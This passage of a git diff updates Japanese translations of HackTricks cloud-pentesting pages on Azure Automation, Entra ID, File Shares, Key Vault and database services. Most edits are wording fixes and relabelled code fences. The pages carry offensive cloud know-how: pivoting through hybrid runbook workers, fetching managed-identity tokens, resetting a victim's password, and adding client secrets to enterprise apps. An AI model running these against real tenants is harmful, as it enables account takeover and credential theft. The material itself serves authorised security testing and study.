Sandbox**であり、Azureリソースに関するタスクに適したAzureが管理するクラウドベースのプラットフォームです。ただし、このサンドボックスには、オンプレミスリソースへのアクセス制限や実行時間およびリソース使用の制約などの制限があります。これらの制限を克服するために、ハイブリッドワーカーグループが使用されます。ハイブリッドワーカーグループは、**自分のマシンにインストールされた1つ以上のハイブリッドRunbookワーカー**で構成され、オンプレミス、他のクラウド環境、またはAzure VM上で動作します。このセットアップにより、Runbookはこれらのマシン上で直接実行され、ローカルリソースへの直接アクセス、より長くリソース集約的なタスクの実行、Azureの即時の範囲を超えた環境との相互作用の柔軟性が提供されます。 +Azure Automationでは、ランブックのデフォルトの実行環境は**Azure Sandbox**であり、Azureによって管理されるクラウドベースのプラットフォームで、Azureリソースに関するタスクに適しています。ただし、このサンドボックスには、オンプレミスリソースへのアクセス制限や、実行時間とリソース使用に関する制約などの制限があります。これらの制限を克服するために、ハイブリッドワーカーグループが使用されます。ハイブリッドワーカーグループは、**自分のマシンにインストールされた1つ以上のハイブリッドランブックワーカー**で構成され、オンプレミス、他のクラウド環境、またはAzure VM上で実行されます。このセットアップにより、ランブックはこれらのマシン上で直接実行され、ローカルリソースへの直接アクセス、より長くリソース集約的なタスクの実行、Azureの即時の範囲を超えた環境との相互作用の柔軟性が提供されます。 ハイブリッドワーカーグループを作成する際には、使用する**資格情報**を指定する必要があります。2つのオプションがあります: -- **デフォルトの資格情報**: 資格情報を提供する必要はなく、Runbookは**System**としてVM内で実行されます。 -- **特定の資格情報**: 自動化アカウント内の資格情報オブジェクトの名前を提供する必要があり、これが**VM内でRunbookを実行するために使用されます**。したがって、この場合、VMのために**有効な資格情報を盗む**ことが可能です。 +- **デフォルトの資格情報**: 資格情報を提供する必要はなく、ランブックは**システム**としてVM内で実行されます。 +- **特定の資格情報**: 自動化アカウント内の資格情報オブジェクトの名前を提供する必要があり、これが**VM内でランブックを実行するために使用されます**。したがって、この場合、VMのために**有効な資格情報を盗む**ことが可能です。 -したがって、**ハイブリッドワーカー**で**Runbook**を実行することを選択できる場合、**System**として外部マシン内で**任意のコマンドを実行**します(良いピボット技術)。 +したがって、**ハイブリッドワーカー**で**ランブック**を実行することを選択できる場合、**システム**として外部マシン内で**任意のコマンドを実行**することになります(良いピボット技術)。 -さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、Runbookは**RunbookのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティにアクセスできる**ようになります。 +さらに、ハイブリッドワーカーがAzureで他のマネージドアイデンティティと共に実行されている場合、ランブックは**ランブックのマネージドアイデンティティとVMのメタデータサービスからのすべてのマネージドアイデンティティ**にアクセスできるようになります。 > [!TIP] -> **メタデータサービス**のURLは、Automation Accountのマネージドアイデンティティトークンを取得するサービスとは異なる(**`http://169.254.169.254`**)ことを忘れないでください。 +> **メタデータサービス**のURLは、**`http://169.254.169.254`**であり、自動化アカウントのマネージドアイデンティティトークンを取得するサービスのURL(**`IDENTITY_ENDPOINT`**)とは異なることを忘れないでください。 -### 状態構成 (SC) +### 状態構成(SC) >[!WARNING] > [ドキュメント](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)に示されているように、Azure Automation State Configurationは2027年9月30日に廃止され、[Azure Machine Configuration](https://learn.microsoft.com/en-us/azure/governance/machine-configuration/overview)に置き換えられます。 -Automation Accountsは、**状態構成 (SC)**もサポートしており、これは**VMの状態を構成**および**維持**するのに役立つ機能です。**Windows**および**Linux**マシンにDSC構成を**作成**および**適用**することが可能です。 +Automation Accountsは、**状態構成(SC)**もサポートしており、これは**VMの状態を構成**および**維持**するのに役立つ機能です。**Windows**および**Linux**マシンにDSC構成を**作成**および**適用**することができます。 -攻撃者の視点から見ると、これは**すべての構成されたVMで任意のPSコードを実行**できるため、これらのVMのマネージドアイデンティティへの権限昇格を可能にし、新しいネットワークへのピボットを潜在的に行うことができるため、興味深いものでした... また、構成には**機密情報**が含まれる可能性があります。 +攻撃者の視点から見ると、これは**すべての構成されたVMで任意のPSコードを実行する**ことを可能にし、これらのVMのマネージドアイデンティティへの権限昇格を許可し、新しいネットワークへのピボットを可能にするため、興味深いものでした... また、構成には**機密情報**が含まれる可能性があります。 ## 列挙 ```bash @@ -196,7 +196,7 @@ az automation hrwg show --automation-account-name --resourc az rest --method GET --url "https://management.azure.com/subscriptions//resourceGroups/>/providers/Microsoft.Automation/automationAccounts//hybridRunbookWorkerGroups//hybridRunbookWorkers?&api-version=2021-06-22" ``` -```powershell +```bash # Check user right for automation az extension add --upgrade -n automation az automation account list # if it doesn't return anything the user is not a part of an Automation group diff --git a/src/pentesting-cloud/azure-security/az-services/az-azuread.md b/src/pentesting-cloud/azure-security/az-services/az-azuread.md index 2b1aac60e..5c7c3c922 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-azuread.md +++ b/src/pentesting-cloud/azure-security/az-services/az-azuread.md @@ -6,7 +6,7 @@ Azure Active Directory (Azure AD) は、Microsoft のクラウドベースのアイデンティティおよびアクセス管理サービスです。これは、従業員がサインインし、Microsoft 365、Azure ポータル、その他の多くの SaaS アプリケーションを含む、組織内外のリソースにアクセスするのを可能にする上で重要です。Azure AD の設計は、**認証、承認、およびユーザー管理**を主に含む、基本的なアイデンティティサービスを提供することに焦点を当てています。 -Azure AD の主な機能には、**多要素認証**と**条件付きアクセス**が含まれ、他の Microsoft セキュリティサービスとのシームレスな統合が行われています。これらの機能は、ユーザーのアイデンティティのセキュリティを大幅に向上させ、組織がアクセスポリシーを効果的に実施および強制するのを支援します。Microsoft のクラウドサービスエコシステムの基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベースの管理において重要です。 +Azure AD の主な機能には、**多要素認証**と**条件付きアクセス**が含まれ、他の Microsoft セキュリティサービスとのシームレスな統合も行われています。これらの機能は、ユーザーのアイデンティティのセキュリティを大幅に向上させ、組織がアクセスポリシーを効果的に実施および強制するのを支援します。Microsoft のクラウドサービスエコシステムの基本的なコンポーネントとして、Azure AD はユーザーアイデンティティのクラウドベースの管理において重要です。 ## 列挙 @@ -45,7 +45,7 @@ az ad user list --query-examples # Get examples {{#endtab }} {{#tab name="Mg" }} -```powershell +```bash # Login Open browser Connect-MgGraph @@ -72,7 +72,7 @@ Find-MgGraphCommand -command *Mg* {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash Connect-AzAccount #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -104,7 +104,7 @@ Get-Command *az* {{#endtab }} {{#tab name="Raw PS" }} -```powershell +```bash #Using management $Token = 'eyJ0eXAi..' # List subscriptions @@ -135,7 +135,7 @@ curl "$IDENTITY_ENDPOINT?resource=https://vault.azure.net&api-version=2017-09-01 {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash Connect-AzureAD #Open browser # Using credentials $passwd = ConvertTo-SecureString "Welcome2022!" -AsPlainText -Force @@ -154,7 +154,7 @@ Azureに**CLI**を通じてログインするとき、あなたは**Microsoft** 例えば、**認証**を行う**PowerShellスクリプト**は、クライアントID**`1950a258-227b-4e31-a9cf-717495945fc2`**を持つアプリを使用します。アプリがコンソールに表示されなくても、システム管理者は**そのアプリケーションをブロック**して、ユーザーがそのアプリを介して接続できないようにすることができます。 しかし、**Azureに接続を許可する他のクライアントID**のアプリケーションもあります: -```powershell +```bash # The important part is the ClientId, which identifies the application to login inside Azure $token = Invoke-Authorize -Credential $credential ` @@ -242,7 +242,7 @@ curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefin {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Users Get-AzureADUser -All $true Get-AzureADUser -All $true | select UserPrincipalName @@ -280,7 +280,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Enumerate users Get-AzADUser # Get details of a user @@ -295,14 +295,14 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com {{#endtabs }} #### ユーザーパスワードの変更 -```powershell +```bash $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force (Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose ``` ### MFA & Conditional Access Policies -すべてのユーザーにMFAを追加することを強く推奨しますが、一部の企業はそれを設定しないか、特定の場所、ブラウザ、または**いくつかの条件**からログインした場合にのみMFAを要求するConditional Accessを設定するかもしれません。これらのポリシーは、正しく構成されていない場合、**バイパス**される可能性があります。確認してください: +すべてのユーザーにMFAを追加することを強く推奨しますが、一部の企業はそれを設定しないか、特定の場所、ブラウザ、または**いくつかの条件**からログインした場合にのみMFAを要求するConditional Accessを設定するかもしれません。これらのポリシーは、正しく構成されていない場合、**バイパス**される可能性があります。確認してください: {{#ref}} ../az-privilege-escalation/az-entraid-privesc/az-conditional-access-policies-mfa-bypass.md @@ -310,7 +310,7 @@ $password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText ### Groups -Entra IDグループに関する詳細情報は、以下を確認してください: +Entra IDグループに関する詳細情報は、以下を確認してください: {{#ref}} ../az-basic-information/ @@ -318,7 +318,7 @@ Entra IDグループに関する詳細情報は、以下を確認してくださ {{#tabs }} {{#tab name="az cli" }} -```powershell +```bash # Enumerate groups az ad group list az ad group list --query "[].[displayName]" -o table @@ -347,7 +347,7 @@ az role assignment list --include-groups --include-classic-administrators true - {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Groups Get-AzureADGroup -All $true # Get info of 1 group @@ -375,7 +375,7 @@ Get-AzureADGroup -ObjectId | Get-AzureADGroupAppRoleAssignment | fl * {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get all groups Get-AzADGroup # Get details of a group @@ -393,12 +393,12 @@ Get-AzRoleAssignment -ResourceGroupName #### グループにユーザーを追加 -グループの所有者は新しいユーザーをグループに追加できます -```powershell +グループのオーナーは新しいユーザーをグループに追加できます +```bash Add-AzureADGroupMember -ObjectId -RefObjectId -Verbose ``` > [!WARNING] -> グループは動的であり、基本的には**ユーザーが特定の条件を満たすとグループに追加される**ことを意味します。もちろん、条件が**属性**に基づいている場合、**ユーザー**が**制御**できると、彼はこの機能を悪用して**他のグループに入る**ことができます。\ +> グループは動的であり、基本的には**ユーザーが特定の条件を満たすとグループに追加される**ことを意味します。もちろん、条件が**ユーザー**が**制御**できる**属性**に基づいている場合、彼はこの機能を悪用して**他のグループに入る**ことができます。\ > 動的グループを悪用する方法については、次のページを確認してください: {{#ref}} @@ -434,7 +434,7 @@ az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredenti {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Get Service Principals Get-AzureADServicePrincipal -All $true # Get details about a SP @@ -455,7 +455,7 @@ Get-AzureADServicePrincipal -ObjectId | Get-AzureADServicePrincipalMembersh {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get SPs Get-AzADServicePrincipal # Get info of 1 SP @@ -468,7 +468,7 @@ Get-AzRoleAssignment -ServicePrincipalName {{#endtab }} {{#tab name="Raw" }} -```powershell +```bash $Token = 'eyJ0eX..' $URI = 'https://graph.microsoft.com/v1.0/applications' $RequestParams = @{ @@ -489,7 +489,7 @@ Headers = @{
各エンタープライズアプリにクライアントシークレットを追加しようとするリスト -```powershell +```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { @@ -626,7 +626,7 @@ az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredent {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # List all registered applications Get-AzureADApplication -All $true # Get details of an application @@ -639,7 +639,7 @@ Get-AzureADApplication -ObjectId | Get-AzureADApplicationOwner |fl * {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get Apps Get-AzADApplication # Get details of one App @@ -663,7 +663,7 @@ Get-AzADAppCredential > **アプリケーション** の **所有者** は、(彼がそれを偽装できるように)**パスワード** を追加できます。\ > これらのサービスプリンシパルとしてのログインは **リスクあり** としてマークされず、**MFA** はありません。 -一般的に使用される Microsoft のアプリ ID のリストを見つけることができます [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) +一般的に使用される Microsoft のアプリ ID のリストは [https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications](https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications) で見つけることができます。 ### Managed Identities @@ -717,7 +717,7 @@ az role assignment list --all --query "[?principalName=='carlos@carloshacktricks {{#endtab }} {{#tab name="Az PowerShell" }} -```powershell +```bash # Get role assignments on the subscription Get-AzRoleDefinition # Get Role definition @@ -729,7 +729,7 @@ Get-AzRoleAssignment -Scope /subscriptions//resourceGroups/ | fl * {{#endtab }} {{#tab name="Azure AD" }} -```powershell +```bash # Enumerate Devices Get-AzureADDevice -All $true | fl * # List all the active devices (and not the stale devices) @@ -851,7 +851,7 @@ Get-AzureADMSAdministrativeUnit | where { Get-AzureADMSAdministrativeUnitMember > [!WARNING] > デバイス (VM) が **AzureAD に参加している** 場合、AzureAD のユーザーは **ログインできる** ようになります。\ -> さらに、ログインしているユーザーがデバイスの **オーナー** である場合、彼は **ローカル管理者** になります。 +> さらに、ログインしているユーザーがデバイスの **所有者** である場合、彼は **ローカル管理者** になります。 ### 管理単位 @@ -876,7 +876,7 @@ az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administr {{#endtab }} {{#tab name="AzureAD" }} -```powershell +```bash # Get Administrative Units Get-AzureADMSAdministrativeUnit Get-AzureADMSAdministrativeUnit -Id @@ -906,16 +906,16 @@ Get-AzureADMSScopedRoleMembership -Id | fl #Get role ID and role members ### 特権アイデンティティ管理 (PIM) -Azure の特権アイデンティティ管理 (PIM) は、**不必要にユーザーに過剰な特権が割り当てられるのを防ぐ**のに役立ちます。 +Azure の特権アイデンティティ管理 (PIM) は、**不必要にユーザーに過剰な特権が付与されるのを防ぐ**のに役立ちます。 -PIM が提供する主な機能の一つは、常にアクティブなプリンシパルにロールを割り当てるのではなく、**一定期間(例:6ヶ月)資格を与える**ことができる点です。ユーザーがそのロールをアクティブにしたい場合、必要な特権の時間(例:3時間)を示してリクエストを行う必要があります。その後、**管理者がリクエストを承認する必要があります**。\ -ユーザーはまた、**時間を延長する**ようにリクエストすることもできます。 +PIM が提供する主な機能の一つは、常にアクティブなプリンシパルにロールを割り当てるのではなく、**一定の期間(例:6ヶ月)資格を与える**ことができる点です。ユーザーがそのロールをアクティブにしたい場合、必要な特権の時間(例:3時間)を示してリクエストを行う必要があります。その後、**管理者が**リクエストを承認する必要があります。\ +ユーザーはまた、**延長**を求めることもできます。 -さらに、**PIM は特権ロールが誰かに割り当てられるたびにメールを送信します**。 +さらに、**PIM は**特権ロールが誰かに割り当てられるたびにメールを送信します。
-PIM が有効になっていると、各ロールに対して次のような特定の要件を設定することができます: +PIM が有効になっていると、各ロールに対して次のような特定の要件を設定できます: - アクティベーションの最大期間(時間) - アクティベーション時に MFA を要求 @@ -923,8 +923,8 @@ PIM が有効になっていると、各ロールに対して次のような特 - アクティベーション時に正当化を要求 - アクティベーション時にチケット情報を要求 - アクティベートするための承認を要求 -- 資格のある割り当ての最大期限 -- 特定のアクションがそのロールで発生したときに通知を送信するタイミングと送信先に関する多くの設定 +- 資格のある割り当ての最大有効期限 +- 特定のアクションがそのロールで発生したときに通知を送信する際の設定がさらに多く ### 条件付きアクセス ポリシー @@ -947,7 +947,7 @@ Entra アイデンティティ保護は、**ユーザーまたはサインイン ### Entra パスワード保護 -Entra パスワード保護 ([https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、**複数の不成功なログイン試行が発生した場合にアカウントをロックアウトすることで、弱いパスワードの悪用を防ぐのに役立つ**セキュリティ機能です。\ +Entra パスワード保護 ([https://portal.azure.com/index.html#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade](https://portal.azure.com/#view/Microsoft_AAD_ConditionalAccess/PasswordProtectionBlade)) は、**複数の不成功なログイン試行が発生した場合にアカウントをロックアウトすることで弱いパスワードの悪用を防ぐ**セキュリティ機能です。\ また、提供する必要がある**カスタムパスワードリストを禁止する**こともできます。 これは、クラウドレベルとオンプレミスの Active Directory の両方に**適用**できます。 diff --git a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md index 1edc1411d..082fe3862 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md +++ b/src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md @@ -17,11 +17,11 @@ Learn & practice GCP Hacking: --name [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
diff --git a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md index b9e525226..a1fcccb8a 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-file-shares.md +++ b/src/pentesting-cloud/azure-security/az-services/az-file-shares.md @@ -4,7 +4,7 @@ ## 基本情報 -**Azure Files** は、標準の **SMB (Server Message Block)** および **NFS (Network File System)** プロトコルを介してアクセス可能な共有ファイルストレージを提供する完全に管理されたクラウドファイルストレージサービスです。主に使用されるプロトコルはSMBですが、NFS Azureファイル共有はWindowsではサポートされていません([**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)による)。これにより、複数の仮想マシン(VM)やオンプレミスシステムから同時にアクセスできる高可用性のネットワークファイル共有を作成でき、環境間でシームレスなファイル共有が可能になります。 +**Azure Files** は、標準の **SMB (Server Message Block)** および **NFS (Network File System)** プロトコルを介してアクセス可能な共有ファイルストレージを提供する完全管理型のクラウドファイルストレージサービスです。主に使用されるプロトコルはSMBですが、NFS Azureファイル共有はWindowsではサポートされていません([**docs**](https://learn.microsoft.com/en-us/azure/storage/files/files-nfs-protocol)による)。これにより、複数の仮想マシン(VM)やオンプレミスシステムから同時にアクセスできる高可用性のネットワークファイル共有を作成でき、環境間でシームレスなファイル共有が可能になります。 ### アクセス階層 @@ -15,18 +15,18 @@ ### バックアップ -- **日次バックアップ**: 指定された時間(例:19.30 UTC)に毎日バックアップポイントが作成され、1日から200日間保存されます。 +- **日次バックアップ**: 指定された時間(例: 19.30 UTC)に毎日バックアップポイントが作成され、1日から200日間保存されます。 - **週次バックアップ**: 指定された曜日と時間(毎週日曜日の19.30)にバックアップポイントが作成され、1週間から200週間保存されます。 -- **月次バックアップ**: 指定された日と時間(例:毎月の最初の日曜日の19.30)にバックアップポイントが作成され、1ヶ月から120ヶ月保存されます。 -- **年次バックアップ**: 指定された日と時間(例:1月の最初の日曜日の19.30)にバックアップポイントが作成され、1年から10年間保存されます。 -- **手動バックアップとスナップショットをいつでも実行することも可能です**。この文脈では、バックアップとスナップショットは実際には同じです。 +- **月次バックアップ**: 指定された日と時間(例: 毎月の最初の日曜日の19.30)にバックアップポイントが作成され、1ヶ月から120ヶ月保存されます。 +- **年次バックアップ**: 指定された日と時間(例: 1月の最初の日曜日の19.30)にバックアップポイントが作成され、1年から10年間保存されます。 +- **手動バックアップおよびスナップショットをいつでも実行することも可能です**。この文脈では、バックアップとスナップショットは実際には同じです。 ### SMB経由でサポートされる認証 -- **オンプレミスAD DS認証**: オンプレミスのActive Directory資格情報を使用し、Microsoft Entra IDと同期してアイデンティティベースのアクセスを提供します。オンプレミスAD DSへのネットワーク接続が必要です。 -- **Microsoft Entraドメインサービス認証**: Microsoft Entra資格情報を使用してアクセスを提供するために、Microsoft Entraドメインサービス(クラウドベースのAD)を活用します。 -- **ハイブリッドアイデンティティのためのMicrosoft Entra Kerberos**: Microsoft Entraユーザーがインターネット経由でAzureファイル共有をKerberosを使用して認証できるようにします。オンプレミスのドメインコントローラーへの接続を必要とせず、ハイブリッドMicrosoft Entra参加またはMicrosoft Entra参加のVMをサポートします。ただし、クラウド専用のアイデンティティはサポートされていません。 -- **LinuxクライアントのためのAD Kerberos認証**: LinuxクライアントがオンプレミスAD DSまたはMicrosoft Entraドメインサービスを介してSMB認証のためにKerberosを使用できるようにします。 +- **オンプレミスAD DS認証**: オンプレミスのActive Directory資格情報を使用し、Microsoft Entra IDと同期されているアイデンティティベースのアクセスを提供します。オンプレミスAD DSへのネットワーク接続が必要です。 +- **Microsoft Entraドメインサービス認証**: Microsoft Entraドメインサービス(クラウドベースのAD)を利用して、Microsoft Entra資格情報を使用してアクセスを提供します。 +- **ハイブリッドアイデンティティ用のMicrosoft Entra Kerberos**: Microsoft Entraユーザーがインターネット経由でAzureファイル共有に対してKerberosを使用して認証できるようにします。オンプレミスのドメインコントローラーへの接続を必要とせず、ハイブリッドMicrosoft Entra参加またはMicrosoft Entra参加のVMをサポートします。ただし、クラウド専用のアイデンティティはサポートされていません。 +- **Linuxクライアント用のAD Kerberos認証**: LinuxクライアントがオンプレミスAD DSまたはMicrosoft Entraドメインサービスを介してSMB認証にKerberosを使用できるようにします。 ## 列挙 @@ -56,7 +56,7 @@ az storage file download-batch -d . --account-name --source {{#endtab}} {{#tab name="Az PowerShell"}} -```powershell +```bash Get-AzStorageAccount # List File Shares @@ -84,17 +84,17 @@ Get-AzStorageFile -ShareName "" -Context (New-AzStorageContext -Stor > [!TIP] > 使用するアカウントキーを示すには、パラメータ`--account-key`を使用します\ -> SASトークンを使用してアクセスするには、SASトークンと共にパラメータ`--sas-token`を使用します +> SASトークンを使用してアクセスするには、SASトークンと共にパラメータ`--sas-token`を使用します。 ### 接続 -これらは、執筆時点でAzureが提案するファイル共有に接続するためのスクリプトです: +これらは、執筆時にAzureが提案したファイル共有に接続するためのスクリプトです: ``、``、および``のプレースホルダーを置き換える必要があります。 {{#tabs}} {{#tab name="Windows"}} -```powershell +```bash $connectTestResult = Test-NetConnection -ComputerName filescontainersrdtfgvhb.file.core.windows.net -Port 445 if ($connectTestResult.TcpTestSucceeded) { # Save the password so the drive will persist on reboot diff --git a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md index 115034d0f..92acd8aba 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-keyvault.md +++ b/src/pentesting-cloud/azure-security/az-services/az-keyvault.md @@ -8,7 +8,7 @@ 完全な詳細については、[Azure Key Vault REST APIの概要](https://learn.microsoft.com/en-us/azure/key-vault/general/about-keys-secrets-certificates)を参照してください。 -[**ドキュメント**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts)によると、VaultはソフトウェアおよびHSMバックの鍵、シークレット、証明書の保存をサポートしています。管理されたHSMプールはHSMバックの鍵のみをサポートします。 +[**ドキュメント**](https://learn.microsoft.com/en-us/azure/key-vault/general/basic-concepts)によると、VaultはソフトウェアおよびHSMバックのキー、シークレット、証明書の保存をサポートしています。管理されたHSMプールはHSMバックのキーのみをサポートします。 **ボールト**の**URL形式**は`https://{vault-name}.vault.azure.net/{object-type}/{object-name}/{object-version}`で、管理されたHSMプールの場合は`https://{hsm-name}.managedhsm.azure.net/{object-type}/{object-name}/{object-version}`です。 @@ -34,7 +34,7 @@ Key Vaultリソースへのアクセスは、2つのプレーンによって制 - **データプレーン**、そのターゲットは**`.vault.azure.com`**です。 - これはキー ボールト内の**データ**(キー、シークレット、証明書)を管理およびアクセスするために使用されます。これには**キー ボールトアクセスポリシー**またはAzure **RBAC**がサポートされています。 -**Contributor**のような役割は、アクセスポリシーを管理するための管理プレーンでの権限を持っている場合、アクセスポリシーを変更することでシークレットにアクセスできます。 +**Contributor**のような役割は、管理プレーンでアクセスポリシーを管理する権限を持っている場合、アクセスポリシーを変更することでシークレットにアクセスできます。 ### Key Vault RBAC組み込みロール @@ -48,7 +48,7 @@ Azure Key Vaultでは、**ファイアウォール**ルールを設定して、* ```bash az keyvault show --name name-vault --query networkAcls ``` -前のコマンドは、`name-vault`**のファイアウォール設定を表示します**。これには、有効なIP範囲と拒否されたトラフィックのポリシーが含まれます。 +前のコマンドは`name-vault`**のファイアウォール設定を表示します**。これには、有効なIP範囲と拒否されたトラフィックのポリシーが含まれます。 さらに、**プライベートエンドポイント**を作成して、ボールトへのプライベート接続を許可することが可能です。 @@ -56,7 +56,7 @@ az keyvault show --name name-vault --query networkAcls キー ボールトが作成されると、削除を許可する最小日数は7日です。つまり、そのキー ボールトを削除しようとすると、**削除には少なくとも7日かかります**。 -ただし、**パージ保護が無効**のボールトを作成することが可能で、これにより保持期間中にキー ボールトとオブジェクトをパージできます。ただし、一度この保護がボールトに対して有効になると、無効にすることはできません。 +ただし、**パージ保護が無効**のボールトを作成することが可能で、これによりキー ボールトとオブジェクトは保持期間中にパージされることができます。ただし、一度この保護がボールトに対して有効にされると、無効にすることはできません。 ## 列挙 @@ -92,7 +92,7 @@ az keyvault secret show --id https://.vault.azure.net/secrets/ --resource-group # Get info diff --git a/src/pentesting-cloud/azure-security/az-services/az-mysql.md b/src/pentesting-cloud/azure-security/az-services/az-mysql.md index 1ac2c26ec..a7879434b 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-mysql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-mysql.md @@ -16,7 +16,7 @@ Learn & practice GCP Hacking: [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。** -* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。** +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。**
{% endhint %} diff --git a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md index c468508bf..1da8ec56e 100644 --- a/src/pentesting-cloud/azure-security/az-services/az-postgresql.md +++ b/src/pentesting-cloud/azure-security/az-services/az-postgresql.md @@ -82,7 +82,7 @@ az postgres flexible-server server-logs list --resource-group [**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -GCPハッキングを学び、実践する:[**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +AWSハッキングを学び、実践する:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCPハッキングを学び、実践する: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricksをサポートする -* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! -* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。** +* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください! +* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**をフォローしてください。** * **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
